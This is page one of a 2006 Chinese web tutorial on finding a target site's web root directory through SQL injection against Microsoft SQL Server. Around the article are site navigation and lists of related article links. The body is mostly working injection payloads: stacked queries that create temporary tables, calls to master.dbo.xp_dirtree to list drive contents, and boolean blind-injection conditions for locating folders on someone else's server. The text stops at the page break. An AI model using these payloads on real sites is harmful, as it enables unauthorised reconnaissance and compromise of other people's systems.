设为首页 | 收藏本站
首页>IT学院>网页设计>正文
教你快速获得WEB根目录的技巧
WWW.DBIT.CN 2006-8-6 11:35:41 热度:
 
 本文章针对以下环境,如果不符合以下的条件,就不适合用下面提到的方法来获得WEB根目录。

  1、SQL SERVER允许执行多行语句;

  2、该网站能进行注入;

  3、没有返回详细的错误提示信息(否则没有必要用这种方法)。

  根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:

  ;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
  
  ;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

  在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:

  and (select count(*) from temp where depth=1 and dir not in
('Documents and Settings','Program Files','RECYCLER','System VolumeInformation',
'WINDOWS','CAConfig','wmpub',
'Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

  接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:

  and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

  看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:

  and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

  ...

  如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。

  下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:

  and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

  假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

  目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。

  接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

  ;create table temp1(dir nvarchar(255),depth varchar(255));--

  然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:

  declare @dirname varchar(255);set @dirname='
d:'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS',
'CAConfig','wmpub',
'Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp1 exec master.dbo.xp_dirtree @dirname

  当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

  现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:

  and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)   如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得 D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

  现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

  现在,我们用同样的方法,再建立第3个临时表:

本新闻共2页,当前在第1页  1  2  

 
上一篇:长、闪、挤、花―有中国特色的网站首页
下一篇:玩转DW8.0:属性检查器和文本格式设置
打印】【关闭
  相关文章:
·少林僧人网上传武授艺 少林寺也We·Web2.0怎样变成钱
·如何架设基于windows XP的Web服务·Web服务器实战之如何改善性能
·一个好的Web 2.0产品应该长什么样·你了解当前web的设计趋势吗
·新技术 新威胁 十大Web2.0下的攻·Web2.0泡沫初现 李彦宏:无盈利模式
·Web2.0高级网络人才走俏 薪水泡沫·WEB创业的十条规则
·危机与你同在:有漏洞的Web2.0·日媒体给中国web2.0支招 特色服务
·泡沫危机再袭互联网 Web2.0网站掀·web2.0本质与包装:土贼与国际大盗
·捧红SP、Web 2.0 风险投资是天使或·Web创业的10条戒律 
☆联姻学院☆

保养电脑的26个窍门
文件夹删除不掉怎么办?
教你如何用手工迅速剿灭QQ广告
“熊猫烧香”病毒的病毒描述和
在Excel中只打印图表以外区域
Excel中只选中包含文本的单元
Windows XP操作系统的几个实用
用XP系统自带网络诊断程序解决
风雨雷电→自然现象动画实战技
Flash遮罩特效之百叶窗效果
十二个Dreamweaver鲜为人知的
如何用 Dreamweaver 批量做we
JavaScript的系统函数学习
Java之父:关于Java我也有遗憾
排除网上邻居使用4大常见麻烦
解除上网限制IP和MAC捆绑的破